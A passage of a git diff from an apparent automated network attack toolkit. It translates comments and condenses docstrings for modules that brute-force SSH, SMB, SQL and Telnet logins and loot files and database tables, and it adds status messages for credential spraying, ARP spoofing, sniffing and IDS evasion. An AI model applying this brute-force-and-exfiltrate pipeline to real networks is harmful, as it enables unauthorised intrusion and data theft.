signal.signal(signal.SIGTERM, self.handle_interrupt) except Exception: - # Ex: ValueError si pas dans le main thread + # e.g. ValueError if not in main thread pass for packet in self.capture.sniff_continuously(): diff --git a/resources/default_config/actions/presence_join.py b/resources/default_config/actions/presence_join.py index 38291d9..8ea5d02 100644 --- a/resources/default_config/actions/presence_join.py +++ b/resources/default_config/actions/presence_join.py @@ -1,11 +1,5 @@ -# actions/presence_join.py # -*- coding: utf-8 -*- -""" -PresenceJoin — Sends a Discord webhook when the targeted host JOINS the network. -- Triggered by the scheduler ONLY on transition OFF->ON (b_trigger="on_join"). -- Targeting via b_requires (e.g. {"any":[{"mac_is":"AA:BB:..."}]}). -- The action does not query anything: it only notifies when called. -""" +"""presence_join.py - Discord webhook notification when a target host joins the network.""" import requests from typing import Optional diff --git a/resources/default_config/actions/presence_left.py b/resources/default_config/actions/presence_left.py index 68853fc..df1fbca 100644 --- a/resources/default_config/actions/presence_left.py +++ b/resources/default_config/actions/presence_left.py @@ -1,11 +1,5 @@ -# actions/presence_left.py # -*- coding: utf-8 -*- -""" -PresenceLeave — Sends a Discord webhook when the targeted host LEAVES the network. -- Triggered by the scheduler ONLY on transition ON->OFF (b_trigger="on_leave"). -- Targeting via b_requires (e.g. {"any":[{"mac_is":"AA:BB:..."}]}). -- The action does not query anything: it only notifies when called. -""" +"""presence_left.py - Discord webhook notification when a target host leaves the network.""" import requests from typing import Optional diff --git a/resources/default_config/actions/rune_cracker.py b/resources/default_config/actions/rune_cracker.py index 669f784..484eed2 100644 --- a/resources/default_config/actions/rune_cracker.py +++ b/resources/default_config/actions/rune_cracker.py @@ -1,11 +1,4 @@ -# Advanced password cracker supporting multiple hash formats and attack methods. -# Saves settings in `/home/bjorn/.settings_bjorn/rune_cracker_settings.json`. -# Automatically loads saved settings if arguments are not provided. -# -i, --input Input file containing hashes to crack. -# -w, --wordlist Path to password wordlist (default: built-in list). -# -r, --rules Path to rules file for mutations (default: built-in rules). -# -t, --type Hash type (md5, sha1, sha256, sha512, ntlm). -# -o, --output Output directory (default: /home/bjorn/Bjorn/data/output/hashes). +"""rune_cracker.py - Threaded hash cracker with wordlist + mutation rules (MD5/SHA/NTLM).""" import os import json diff --git a/resources/default_config/actions/scanning.py b/resources/default_config/actions/scanning.py index 808a731..30d5c62 100644 --- a/resources/default_config/actions/scanning.py +++ b/resources/default_config/actions/scanning.py @@ -1,12 +1,4 @@ -# scanning.py – Network scanner (DB-first, no stubs) -# - Host discovery (nmap -sn -PR) -# - Resolve MAC/hostname (per-host threads) -> DB (hosts table) -# - Port scan (multi-threads) -> DB (merge ports by MAC) -# - Mark alive=0 for hosts not seen this run -# - Update stats (stats table) -# - Light logging (milestones) without flooding -# - WAL checkpoint(TRUNCATE) + PRAGMA optimize at end of scan -# - NEW: No DB insert without a real MAC. Unresolved IPs are kept in-memory for this run. +"""scanning.py - Network scanner: nmap host discovery, port scan, MAC resolve, all DB-backed.""" import os import threading diff --git a/resources/default_config/actions/smb_bruteforce.py b/resources/default_config/actions/smb_bruteforce.py index 32b522a..07e976b 100644 --- a/resources/default_config/actions/smb_bruteforce.py +++ b/resources/default_config/actions/smb_bruteforce.py @@ -1,10 +1,4 @@ -""" -smb_bruteforce.py — SMB bruteforce (DB-backed, no CSV/JSON, no rich) -- Cibles fournies par l’orchestrateur (ip, port) -- IP -> (MAC, hostname) depuis DB.hosts -- Succès enregistrés dans DB.creds (service='smb'), 1 ligne PAR PARTAGE (database=) -- Conserve la logique de queue/threads et les signatures. Plus de rich/progress. -""" +"""smb_bruteforce.py - SMB bruteforce with per-share credential storage in DB.""" import os import threading @@ -28,14 +22,14 @@ b_parent = None b_service = '["smb"]' b_trigger = 'on_any:["on_service:smb","on_new_port:445"]' b_priority = 70 -b_cooldown = 1800 # 30 minutes entre deux runs -b_rate_limit = '3/86400' # 3 fois par jour max +b_cooldown = 1800 # 30 min between runs +b_rate_limit = '3/86400' # max 3 per day IGNORED_SHARES = {'print$', 'ADMIN$', 'IPC$', 'C$', 'D$', 'E$', 'F$'} class SMBBruteforce: - """Wrapper orchestrateur -> SMBConnector.""" + """Orchestrator wrapper -> SMBConnector.""" def __init__(self, shared_data): self.shared_data = shared_data @@ -43,23 +37,22 @@ class SMBBruteforce: logger.info("SMBConnector initialized.") def bruteforce_smb(self, ip, port): - """Lance le bruteforce SMB pour (ip, port).""" + """Run SMB bruteforce for (ip, port).""" return self.smb_bruteforce.run_bruteforce(ip, port) def execute(self, ip, port, row, status_key): - """Point d’entrée orchestrateur (retour 'success' / 'failed').""" + """Orchestrator entry point (returns ‘success’ / ‘failed’).""" self.shared_data.bjorn_orch_status = "SMBBruteforce" success, results = self.bruteforce_smb(ip, port) return 'success' if success else 'failed' class SMBConnector: - """Gère les tentatives SMB, la persistance DB et le mapping IP→(MAC, Hostname).""" + """Handles SMB attempts, DB persistence, and IP->(MAC, Hostname) mapping.""" def __init__(self, shared_data): self.shared_data = shared_data - # Wordlists inchangées self.users = self._read_lines(shared_data.users_file) self.passwords = self._read_lines(shared_data.passwords_file) @@ -71,7 +64,7 @@ class SMBConnector: self.results: List[List[str]] = [] # [mac, ip, hostname, share, user, password, port] self.queue = Queue() - # ---------- util fichiers ---------- + # ---------- file utils ---------- @staticmethod def _read_lines(path: str) -> List[str]: try: @@ -267,7 +260,7 @@ class SMBConnector: for t in threads: t.join() - # Fallback smbclient -L si rien trouvé + # Fallback smbclient -L if nothing found if not success_flag[0]: logger.info(f"No success via SMBConnection. Trying smbclient -L for {adresse_ip}") for user in self.users: @@ -290,7 +283,7 @@ class SMBConnector: # ---------- persistence DB ---------- def save_results(self): - # insère self.results dans creds (service='smb'), database = + # Insert results into creds (service='smb'), database = for mac, ip, hostname, share, user, password, port in self.results: try: self.shared_data.db.insert_cred( @@ -301,7 +294,7 @@ class SMBConnector: user=user, password=password, port=port, - database=share, # utilise la colonne 'database' pour distinguer les shares + database=share, # uses 'database' column to distinguish shares extra=None ) except Exception as e: @@ -315,12 +308,12 @@ class SMBConnector: self.results = [] def removeduplicates(self): - # plus nécessaire avec l'index unique; conservé pour compat. + # No longer needed with unique index; kept for compat pass if __name__ == "__main__": - # Mode autonome non utilisé en prod; on laisse simple + # Standalone mode not used in prod try: sd = SharedData() smb_bruteforce = SMBBruteforce(sd) diff --git a/resources/default_config/actions/sql_bruteforce.py b/resources/default_config/actions/sql_bruteforce.py index b6fd814..7a933a6 100644 --- a/resources/default_config/actions/sql_bruteforce.py +++ b/resources/default_config/actions/sql_bruteforce.py @@ -1,11 +1,4 @@ -""" -sql_bruteforce.py — MySQL bruteforce (DB-backed, no CSV/JSON, no rich) -- Cibles: (ip, port) par l’orchestrateur -- IP -> (MAC, hostname) via DB.hosts -- Connexion sans DB puis SHOW DATABASES; une entrée par DB trouvée -- Succès -> DB.creds (service='sql', database=) -- Conserve la logique (pymysql, queue/threads) -""" +"""sql_bruteforce.py - MySQL bruteforce with per-database credential storage (pymysql).""" import os import pymysql @@ -28,11 +21,11 @@ b_parent = None b_service = '["sql"]' b_trigger = 'on_any:["on_service:sql","on_new_port:3306"]' b_priority = 70 -b_cooldown = 1800 # 30 minutes entre deux runs -b_rate_limit = '3/86400' # 3 fois par jour max +b_cooldown = 1800 # 30 min between runs +b_rate_limit = '3/86400' # max 3 per day class SQLBruteforce: - """Wrapper orchestrateur -> SQLConnector.""" + """Orchestrator wrapper -> SQLConnector.""" def __init__(self, shared_data): self.shared_data = shared_data @@ -40,22 +33,21 @@ class SQLBruteforce: logger.info("SQLConnector initialized.") def bruteforce_sql(self, ip, port): - """Lance le bruteforce SQL pour (ip, port).""" + """Run SQL bruteforce for (ip, port).""" return self.sql_bruteforce.run_bruteforce(ip, port) def execute(self, ip, port, row, status_key): - """Point d’entrée orchestrateur (retour 'success' / 'failed').""" + """Orchestrator entry point (returns ‘success’ / ‘failed’).""" success, results = self.bruteforce_sql(ip, port) return 'success' if success else 'failed' class SQLConnector: - """Gère les tentatives SQL (MySQL), persistance DB, mapping IP→(MAC, Hostname).""" + """Handles SQL (MySQL) attempts, DB persistence, IP->(MAC, Hostname) mapping.""" def __init__(self, shared_data): self.shared_data = shared_data - # Wordlists inchangées self.users = self._read_lines(shared_data.users_file) self.passwords = self._read_lines(shared_data.passwords_file) @@ -67,7 +59,7 @@ class SQLConnector: self.results: List[List[str]] = [] # [ip, user, password, port, database, mac, hostname] self.queue = Queue() - # ---------- util fichiers ---------- + # ---------- file utils ---------- @staticmethod def _read_lines(path: str) -> List[str]: try: @@ -111,7 +103,7 @@ class SQLConnector: # ---------- SQL ---------- def sql_connect(self, adresse_ip: str, user: str, password: str): """ - Connexion sans DB puis SHOW DATABASES; retourne (True, [dbs]) ou (False, []). + Connect without DB then SHOW DATABASES; returns (True, [dbs]) or (False, []). """ try: conn = pymysql.connect( @@ -242,7 +234,7 @@ class SQLConnector: # ---------- persistence DB ---------- def save_results(self): - # pour chaque DB trouvée, créer/mettre à jour une ligne dans creds (service='sql', database=) + # For each discovered DB, create/update a row in creds (service='sql', database=) for ip, user, password, port, dbname in self.results: mac = self.mac_for_ip(ip) hostname = self.hostname_for_ip(ip) or "" @@ -269,7 +261,7 @@ class SQLConnector: self.results = [] def remove_duplicates(self): - # inutile avec l’index unique; conservé pour compat. + # No longer needed with unique index; kept for compat pass diff --git a/resources/default_config/actions/ssh_bruteforce.py b/resources/default_config/actions/ssh_bruteforce.py index 2232848..1858420 100644 --- a/resources/default_config/actions/ssh_bruteforce.py +++ b/resources/default_config/actions/ssh_bruteforce.py @@ -1,15 +1,4 @@ -""" -ssh_bruteforce.py - This script performs a brute force attack on SSH services (port 22) -to find accessible accounts using various user credentials. It logs the results of -successful connections. - -SQL version (minimal changes): -- Targets still provided by the orchestrator (ip + port) -- IP -> (MAC, hostname) mapping read from DB 'hosts' -- Successes saved into DB.creds (service='ssh') with robust fallback upsert -- Action status recorded in DB.action_results (via SSHBruteforce.execute) -- Paramiko noise silenced; ssh.connect avoids agent/keys to reduce hangs -""" +"""ssh_bruteforce.py - SSH bruteforce with DB-backed credential storage (paramiko).""" import os import paramiko @@ -22,7 +11,6 @@ from queue import Queue from shared import SharedData from logger import Logger -# Configure the logger logger = Logger(name="ssh_bruteforce.py", level=logging.DEBUG) # Silence Paramiko internals @@ -30,7 +18,7 @@ for _name in ("paramiko", "paramiko.transport", "paramiko.client", "paramiko.hos "paramiko.kex", "paramiko.auth_handler"): logging.getLogger(_name).setLevel(logging.CRITICAL) -# Define the necessary global variables +# Module metadata b_class = "SSHBruteforce" b_module = "ssh_bruteforce" b_status = "brute_force_ssh" @@ -38,9 +26,9 @@ b_port = 22 b_service = '["ssh"]' b_trigger = 'on_any:["on_service:ssh","on_new_port:22"]' b_parent = None -b_priority = 70 # tu peux ajuster la priorité si besoin -b_cooldown = 1800 # 30 minutes entre deux runs -b_rate_limit = '3/86400' # 3 fois par jour max +b_priority = 70 +b_cooldown = 1800 # 30 min between runs +b_rate_limit = '3/86400' # max 3 per day class SSHBruteforce: diff --git a/resources/default_config/actions/steal_data_sql.py b/resources/default_config/actions/steal_data_sql.py index 414920d..e0174ce 100644 --- a/resources/default_config/actions/steal_data_sql.py +++ b/resources/default_config/actions/steal_data_sql.py @@ -1,13 +1,4 @@ -""" -steal_data_sql.py — SQL data looter (DB-backed) - -SQL mode: -- Orchestrator provides (ip, port) after parent success (SQLBruteforce). -- DB.creds (service='sql') provides (user,password, database?). -- We connect first without DB to enumerate tables (excluding system schemas), - then connect per schema to export CSVs. -- Output under: {data_stolen_dir}/sql/{mac}_{ip}/{schema}/{schema_table}.csv -""" +"""steal_data_sql.py - SQL data exfiltration: enumerate schemas and dump tables to CSV.""" import os import logging diff --git a/resources/default_config/actions/steal_files_ftp.py b/resources/default_config/actions/steal_files_ftp.py index f9599fa..03118de 100644 --- a/resources/default_config/actions/steal_files_ftp.py +++ b/resources/default_config/actions/steal_files_ftp.py @@ -1,12 +1,4 @@ -""" -steal_files_ftp.py — FTP file looter (DB-backed) - -SQL mode: -- Orchestrator provides (ip, port) after parent success (FTPBruteforce). -- FTP credentials are read from DB.creds (service='ftp'); anonymous is also tried. -- IP -> (MAC, hostname) via DB.hosts. -- Loot saved under: {data_stolen_dir}/ftp/{mac}_{ip}/(anonymous|)/... -""" +"""steal_files_ftp.py - FTP file exfiltration using DB creds from FTPBruteforce.""" import os import logging diff --git a/resources/default_config/actions/steal_files_smb.py b/resources/default_config/actions/steal_files_smb.py index bfd54a9..2558826 100644 --- a/resources/default_config/actions/steal_files_smb.py +++ b/resources/default_config/actions/steal_files_smb.py @@ -1,12 +1,4 @@ -""" -steal_files_smb.py — SMB file looter (DB-backed). - -SQL mode: -- Orchestrator provides (ip, port) after parent success (SMBBruteforce). -- DB.creds (service='smb') provides credentials; 'database' column stores share name. -- Also try anonymous (''/''). -- Output under: {data_stolen_dir}/smb/{mac}_{ip}/{share}/... -""" +"""steal_files_smb.py - SMB share exfiltration using DB creds from SMBBruteforce.""" import os import logging diff --git a/resources/default_config/actions/steal_files_ssh.py b/resources/default_config/actions/steal_files_ssh.py index 7895eb0..b904e3d 100644 --- a/resources/default_config/actions/steal_files_ssh.py +++ b/resources/default_config/actions/steal_files_ssh.py @@ -1,17 +1,4 @@ -""" -steal_files_ssh.py — SSH file looter (DB-backed) - -SQL mode: -- Orchestrator provides (ip, port) and ensures parent action success (SSHBruteforce). -- SSH credentials are read from the DB table `creds` (service='ssh'). -- IP -> (MAC, hostname) mapping is read from the DB table `hosts`. -- Looted files are saved under: {shared_data.data_stolen_dir}/ssh/{mac}_{ip}/... -- Paramiko logs are silenced to avoid noisy banners/tracebacks. - -Parent gate: -- Orchestrator enforces parent success (b_parent='SSHBruteforce'). -- This action runs once per eligible target (alive, open port, parent OK). -""" +"""steal_files_ssh.py - SSH file exfiltration using DB creds from SSHBruteforce (paramiko).""" import os import time @@ -203,7 +190,7 @@ class StealFilesSSH: names = set(self.shared_data.steal_file_names or []) if not exts and not names: # If no filters are defined, do nothing (too risky to pull everything). - logger.warning("No steal_file_extensions / steal_file_names configured — skipping.") + logger.warning("No steal_file_extensions / steal_file_names configured - skipping.") return [] matches: List[str] = [] diff --git a/resources/default_config/actions/steal_files_telnet.py b/resources/default_config/actions/steal_files_telnet.py index 7bb56a3..1979621 100644 --- a/resources/default_config/actions/steal_files_telnet.py +++ b/resources/default_config/actions/steal_files_telnet.py @@ -1,12 +1,4 @@ -""" -steal_files_telnet.py — Telnet file looter (DB-backed) - -SQL mode: -- Orchestrator provides (ip, port) after parent success (TelnetBruteforce). -- Credentials read from DB.creds (service='telnet'); we try each pair. -- Files found via 'find / -type f', then retrieved with 'cat'. -- Output under: {data_stolen_dir}/telnet/{mac}_{ip}/... -""" +"""steal_files_telnet.py - Telnet file exfiltration using DB creds from TelnetBruteforce.""" import os import telnetlib @@ -110,7 +102,7 @@ class StealFilesTelnet: if password: tn.read_until(b"Password: ", timeout=5) tn.write(password.encode('ascii') + b"\n") - # prompt detection (naïf mais identique à l'original) + # Naive prompt detection (same as original) time.sleep(2) self.telnet_connected = True logger.info(f"Connected to {ip} via Telnet as {username}") diff --git a/resources/default_config/actions/telnet_bruteforce.py b/resources/default_config/actions/telnet_bruteforce.py index 10f29eb..ce29768 100644 --- a/resources/default_config/actions/telnet_bruteforce.py +++ b/resources/default_config/actions/telnet_bruteforce.py @@ -1,10 +1,4 @@ -""" -telnet_bruteforce.py — Telnet bruteforce (DB-backed, no CSV/JSON, no rich) -- Cibles: (ip, port) par l’orchestrateur -- IP -> (MAC, hostname) via DB.hosts -- Succès -> DB.creds (service='telnet') -- Conserve la logique d’origine (telnetlib, queue/threads) -""" +"""telnet_bruteforce.py - Telnet bruteforce with DB-backed credential storage.""" import os import telnetlib @@ -27,11 +21,11 @@ b_parent = None b_service = '["telnet"]' b_trigger = 'on_any:["on_service:telnet","on_new_port:23"]' b_priority = 70 -b_cooldown = 1800 # 30 minutes entre deux runs -b_rate_limit = '3/86400' # 3 fois par jour max +b_cooldown = 1800 # 30 min between runs +b_rate_limit = '3/86400' # max 3 per day class TelnetBruteforce: - """Wrapper orchestrateur -> TelnetConnector.""" + """Orchestrator wrapper -> TelnetConnector.""" def __init__(self, shared_data): self.shared_data = shared_data @@ -39,11 +33,11 @@ class TelnetBruteforce: logger.info("TelnetConnector initialized.") def bruteforce_telnet(self, ip, port): - """Lance le bruteforce Telnet pour (ip, port).""" + """Run Telnet bruteforce for (ip, port).""" return self.telnet_bruteforce.run_bruteforce(ip, port) def execute(self, ip, port, row, status_key): - """Point d’entrée orchestrateur (retour 'success' / 'failed').""" + """Orchestrator entry point (returns ‘success’ / ‘failed’).""" logger.info(f"Executing TelnetBruteforce on {ip}:{port}") self.shared_data.bjorn_orch_status = "TelnetBruteforce" success, results = self.bruteforce_telnet(ip, port) @@ -51,12 +45,11 @@ class TelnetBruteforce: class TelnetConnector: - """Gère les tentatives Telnet, persistance DB, mapping IP→(MAC, Hostname).""" + """Handles Telnet attempts, DB persistence, IP->(MAC, Hostname) mapping.""" def __init__(self, shared_data): self.shared_data = shared_data - # Wordlists inchangées self.users = self._read_lines(shared_data.users_file) self.passwords = self._read_lines(shared_data.passwords_file) @@ -68,7 +61,7 @@ class TelnetConnector: self.results: List[List[str]] = [] # [mac, ip, hostname, user, password, port] self.queue = Queue() - # ---------- util fichiers ---------- + # ---------- file utils ---------- @staticmethod def _read_lines(path: str) -> List[str]: try: diff --git a/resources/default_config/actions/thor_hammer.py b/resources/default_config/actions/thor_hammer.py index 410b54a..21670c8 100644 --- a/resources/default_config/actions/thor_hammer.py +++ b/resources/default_config/actions/thor_hammer.py @@ -1,11 +1,4 @@ -# Service fingerprinting and version detection tool for vulnerability identification. -# Saves settings in `/home/bjorn/.settings_bjorn/thor_hammer_settings.json`. -# Automatically loads saved settings if arguments are not provided. -# -t, --target Target IP or hostname to scan (overrides saved value). -# -p, --ports Ports to scan (default: common ports, comma-separated). -# -o, --output Output directory (default: /home/bjorn/Bjorn/data/output/services). -# -d, --delay Delay between probes in seconds (default: 1). -# -v, --verbose Enable verbose output for detailed service information. +"""thor_hammer.py - Service fingerprinting and version detection for vuln identification.""" import os import json diff --git a/resources/default_config/actions/valkyrie_scout.py b/resources/default_config/actions/valkyrie_scout.py index e38e383..e0b999b 100644 --- a/resources/default_config/actions/valkyrie_scout.py +++ b/resources/default_config/actions/valkyrie_scout.py @@ -1,11 +1,4 @@ -# Web application scanner for discovering hidden paths and vulnerabilities. -# Saves settings in `/home/bjorn/.settings_bjorn/valkyrie_scout_settings.json`. -# Automatically loads saved settings if arguments are not provided. -# -u, --url Target URL to scan (overrides saved value). -# -w, --wordlist Path to directory wordlist (default: built-in list). -# -o, --output Output directory (default: /home/bjorn/Bjorn/data/output/webscan). -# -t, --threads Number of concurrent threads (default: 10). -# -d, --delay Delay between requests in seconds (default: 0.1). +"""valkyrie_scout.py - Web app scanner for hidden paths and directory enumeration.""" import os import json diff --git a/resources/default_config/actions/web_enum.py b/resources/default_config/actions/web_enum.py index 9c44409..7814932 100644 --- a/resources/default_config/actions/web_enum.py +++ b/resources/default_config/actions/web_enum.py @@ -1,13 +1,6 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- -""" -web_enum.py — Gobuster Web Enumeration -> DB writer for table `webenum`. - -- Writes each finding into the `webenum` table -- ON CONFLICT(mac_address, ip, port, directory) DO UPDATE -- Respects orchestrator stop flag (shared_data.orchestrator_should_exit) -- No filesystem output: parse Gobuster stdout directly -""" +"""web_enum.py - Gobuster-based web directory enumeration, results written to DB.""" import re import socket diff --git a/resources/default_config/actions/wpasec_potfiles.py b/resources/default_config/actions/wpasec_potfiles.py index c8f5978..5996ca1 100644 --- a/resources/default_config/actions/wpasec_potfiles.py +++ b/resources/default_config/actions/wpasec_potfiles.py @@ -1,5 +1,4 @@ -# wpasec_potfiles.py -# WPAsec Potfile Manager - Download, clean, import, or erase WiFi credentials +"""wpasec_potfiles.py - Download, clean, import, or erase WiFi creds from WPAsec potfiles.""" import os import json diff --git a/resources/default_config/actions/yggdrasil_mapper.py b/resources/default_config/actions/yggdrasil_mapper.py index 9dde5f8..34b34dc 100644 --- a/resources/default_config/actions/yggdrasil_mapper.py +++ b/resources/default_config/actions/yggdrasil_mapper.py @@ -1,11 +1,4 @@ -# Network topology mapping tool for discovering and visualizing network segments. -# Saves settings in `/home/bjorn/.settings_bjorn/yggdrasil_mapper_settings.json`. -# Automatically loads saved settings if arguments are not provided. -# -r, --range Network range to scan (CIDR format). -# -i, --interface Network interface to use (default: active interface). -# -d, --depth Maximum trace depth for routing (default: 5). -# -o, --output Output directory (default: /home/bjorn/Bjorn/data/output/topology). -# -t, --timeout Timeout for probes in seconds (default: 2). +"""yggdrasil_mapper.py - Network topology mapper with traceroute and graph visualization.""" import os import json diff --git a/resources/default_config/comments/comments.en.json b/resources/default_config/comments/comments.en.json index b686891..fb21670 100644 --- a/resources/default_config/comments/comments.en.json +++ b/resources/default_config/comments/comments.en.json @@ -2453,7 +2453,11 @@ "I'm like a web spelunker, diving into hidden directories.", "Let's see what hidden directories I can find today!", "Hey, you know what's fun? Finding hidden directories!", - "You never know what you'll find in a hidden directory!" + "You never know what you'll find in a hidden directory!", + "Gobuster scanning {url}...", + "Found {found} paths on {ip}:{port} so far!", + "Last discovery: {last} on {ip}", + "Directory brute-force on {url}... {found} hits" ], "NetworkScanner": [ "Scanning the network for open ports...", @@ -2552,7 +2556,12 @@ "What’s a hacker’s favorite snack? Cookies, but not the edible kind!", "Think of me as your digital bodyguard, keeping you safe.", "Why did the hacker get a job? To pay off his ransomware!", - "Just like a digital Sherlock Holmes, always on the case." + "Just like a digital Sherlock Holmes, always on the case.", + "Scanning network {network}...", + "Found {hosts_found} hosts on {network}!", + "Discovered {ip} ({hostname}) — vendor: {vendor}", + "Network scan: {alive_hosts} alive, {total_ports} open ports", + "Resolved MAC {mac} for {ip}..." ], "NmapVulnScanner": [ "Scanning for vulnerabilities with Nmap...", @@ -2654,13 +2663,24 @@ "Almost there... unveiling the hidden secrets.", "What do you call an alien computer? A UFO: Unidentified Functioning Object!", "Scanning is like detective work, every clue counts.", - "Why don’t hackers need glasses? Because they can C#!" + "Why don’t hackers need glasses? Because they can C#!", + "Scanning {ports} port(s) on {ip} for CVEs...", + "Found {vulns_found} vulnerabilities on {ip}!", + "Vuln scan progress: {progress} on {ip}...", + "Batch [{current_batch}] scanning on {ip}..." ], "SSHBruteforce": [ "Attempting brute-force login over SSH...", "Trying default credentials on {ip}...", "Rapid SSH login attempts detected.", - "Testing user={user} against {ip}:{port}." + "Testing user={user} against {ip}:{port}.", + "Hammering SSH on {ip}:{port}... user={user}", + "Brute-forcing {ip}:{port} — trying '{user}'...", + "SSH login attempt: {user}@{ip}:{port}", + "Cracking SSH credentials on {ip}...", + "Will {user} work on {ip}:{port}? Let's find out!", + "SSH door-knocking: {user}@{ip}", + "Password spray in progress on {ip}:{port}..." ], "FTPBruteforce": [ "Not smart, SFTP was complicated?! I'm going to enjoy this!", @@ -2705,7 +2725,11 @@ "FTP brute force ongoing...", "FTP cracking attempt...", "Compromising FTP server...", - "Let's see if FTP is secure..." + "Let's see if FTP is secure...", + "FTP cracking {user}@{ip}:{port}...", + "Trying {user} on FTP {ip}:{port}...", + "Knocking on FTP door at {ip}:{port}...", + "FTP login spray: {user}@{ip}" ], "SMBBruteforce": [ "Have you checked the security of your SMB share recently?", @@ -2752,7 +2776,11 @@ "SMB brute force ongoing...", "SMB cracking attempt...", "Compromising SMB shares...", - "Let's see if SMB is secure..." + "Let's see if SMB is secure...", + "SMB cracking {user}@{ip}:{port}...", + "Trying {user} on share {share} at {ip}...", + "Enumerating SMB shares on {ip}:{port}...", + "SMB login spray: {user}@{ip}" ], "TelnetBruteforce": [ "Telnet is not secure. Switch to SSH for better security!", @@ -2778,7 +2806,10 @@ "Telnet brute force ongoing...", "Telnet cracking attempt...", "Compromising Telnet server...", - "Let's see if Telnet is secure..." + "Let's see if Telnet is secure...", + "Telnet cracking {user}@{ip}:{port}...", + "Trying {user} on Telnet at {ip}...", + "Telnet login spray: {user}@{ip}:{port}" ], "SQLBruteforce": [ "SQL databases are often targeted by attackers. Secure yours!", @@ -2803,7 +2834,11 @@ "SQL brute force ongoing...", "SQL cracking attempt...", "Compromising SQL server...", - "Let's see if SQL is secure..." + "Let's see if SQL is secure...", + "SQL cracking {user}@{ip}:{port}...", + "Trying {user} on MySQL at {ip}...", + "Found {databases} database(s) on {ip}!", + "SQL login spray: {user}@{ip}:{port}" ], "StealFilesSSH": [ "Yum, yum, files to steal!", @@ -2871,7 +2906,10 @@ "Can't wait to see what's inside these files!", "I'm like a kid in a candy store, but with SSH files!", "What do you call a fish with no eyes? Fsh!", - "Where do fish keep their money? In the river bank!" + "Where do fish keep their money? In the river bank!", + "Looting {path} from {ip}:{port}...", + "SFTP grab: downloading from {ip}...", + "Exfiltrating files via SSH on {ip}:{port}..." ], "StealFilesSMB": [ "Yum, yum, files to steal!", @@ -2887,7 +2925,10 @@ "Stealing files in progress...", "Compromising SMB files...", "Accessing sensitive information...", - "Retrieving data from SMB..." + "Retrieving data from SMB...", + "Looting share {share} on {ip}:{port}...", + "Downloaded {files} file(s) from {ip}...", + "SMB grab: exfiltrating from {share}@{ip}..." ], "StealFilesTelnet": [ "Yum, yum, files to steal!", @@ -2897,13 +2938,19 @@ "Telnet files can be easily accessed by unauthorized users. Secure them!", "Telnet connections are vulnerable to attacks. Secure them!", "Time to steal some files!", - "Accessing Telnet files..." + "Accessing Telnet files...", + "Telnet file grab on {ip}:{port}...", + "Downloaded {files} file(s) via Telnet from {ip}...", + "Exfiltrating data over Telnet on {ip}..." ], "StealFilesFTP": [ "Yum, yum, files to steal!", "FTP files can contain sensitive information. Protect them!", "FTP files are often targeted by attackers. Be vigilant!", - "Unencrypted FTP connections can be easily intercepted." + "Unencrypted FTP connections can be easily intercepted.", + "FTP file grab on {ip}:{port}...", + "Downloaded {files} file(s) from FTP {ip}...", + "Looting the FTP server at {ip}:{port}..." ], "StealDataSQL": [ "Yum, yum, files to steal!", @@ -2919,7 +2966,180 @@ "Stealing files in progress...", "Compromising SQL files...", "Accessing sensitive information...", - "Retrieving data from SQL..." + "Retrieving data from SQL...", + "Exfiltrating {databases} database(s) from {ip}...", + "Dumping {tables} table(s) from {ip}:{port}...", + "SQL data grab: extracting CSV from {ip}...", + "Looting MySQL on {ip}:{port}..." + ], + "DNSPillager": [ + "DNS recon on {ip}... hunting for records.", + "Zone transfer attempt on {domain}...", + "Enumerating subdomains for {domain}...", + "DNS pillaging: {records} records found so far!", + "Probing DNS at {ip}:{port}...", + "Reverse lookup: who lives at {ip}?", + "Subdomain brute-force in progress on {domain}...", + "DNS zone transfer: jackpot or bust?", + "Checking MX, NS, TXT records for {domain}...", + "DNS enumeration reveals hidden infrastructure..." + ], + "ValkyrieScout": [ + "Scouting web paths on {ip}:{port}...", + "Probing {path} — status {status}...", + "Looking for auth surfaces on {ip}...", + "Valkyrie scouting: login found at {login}!", + "Web path enumeration on {ip}:{port}...", + "Checking for debug leaks and admin panels...", + "Scanning for exposed login forms...", + "Auth surface discovery in progress...", + "Probing common web paths for vulnerabilities...", + "Valkyrie rides! Scouting {ip} for weak points..." + ], + "WebLoginProfiler": [ + "Profiling login forms on {ip}:{port}...", + "Checking {path} for auth controls...", + "Login detected at {login} on {ip}!", + "Web login profiling: scanning for forms...", + "Analyzing authentication surfaces on {ip}...", + "CSRF tokens? Rate limiting? Let's check {ip}...", + "Profiling web authentication on {ip}:{port}...", + "Detecting login mechanisms on the target...", + "Looking for weak auth implementations..." + ], + "WebSurfaceMapper": [ + "Mapping attack surface on {ip}:{port}...", + "Risk score: {top_score} for {top_path}!", + "Analyzed {count} endpoints, avg score: {avg_score}", + "Surface mapping: {ip} risk assessment...", + "Top risk path: {top_path} (score: {top_score})", + "Aggregating login profiler findings for {ip}...", + "Attack surface analysis in progress...", + "Mapping web risk landscape on {ip}..." + ], + "ThorHammer": [ + "Banner grabbing on {ip}:{port}...", + "Service: {svc} detected on port {port}!", + "TCP fingerprinting {ip} — {open} port(s) open...", + "Thor's hammer strikes {ip}:{port}!", + "Service identification in progress...", + "Grabbing banners from {ip}...", + "Fingerprinting services on the target...", + "What service lurks on port {port}?" + ], + "OdinEye": [ + "Watching traffic on {iface}...", + "Captured {packets} packets so far...", + "Credentials found: {creds}!", + "Odin's eye sees all traffic on {iface}...", + "Passive sniffing: filter = {filter}", + "Hunting for credentials in the wire...", + "Packet analysis in progress...", + "Network sniffer active — watching for secrets...", + "Analyzing traffic patterns on {iface}..." + ], + "ARPSpoof": [ + "ARP poisoning {ip} <-> {gateway}...", + "MITM active: spoofing {ip}...", + "ARP spoof: injecting poison packets...", + "Gateway {gateway} <-> Target {ip}: poisoned!", + "ARP cache poisoning in progress...", + "Bidirectional ARP spoof active on {ip}...", + "Man-in-the-middle positioning on {ip}...", + "Restoring ARP tables after spoof..." + ], + "BerserkerForce": [ + "Stress testing {ip} ({mode} mode)...", + "Probing {ports} port(s) at {rate} req/s...", + "Baseline measurement on {ip}...", + "Berserker rage! Stress test on {ip}...", + "Phase: {phase} — testing {ip} resilience...", + "Service degradation analysis in progress...", + "Rate-limited stress test: {rate} probes/s...", + "Measuring response times on {ip}..." + ], + "HeimdallGuard": [ + "Stealth mode active: {mode} on {iface}...", + "Heimdall guards the bridge on {iface}...", + "IDS evasion: {mode} mode engaged...", + "Stealth operations on {ip}...", + "Packet fragmentation active on {iface}...", + "Heimdall's watch: guarding traffic...", + "TTL manipulation in progress...", + "Timing randomization active..." + ], + "LokiDeceiver": [ + "Rogue AP '{ssid}' active — {clients} client(s)!", + "Loki's trap: 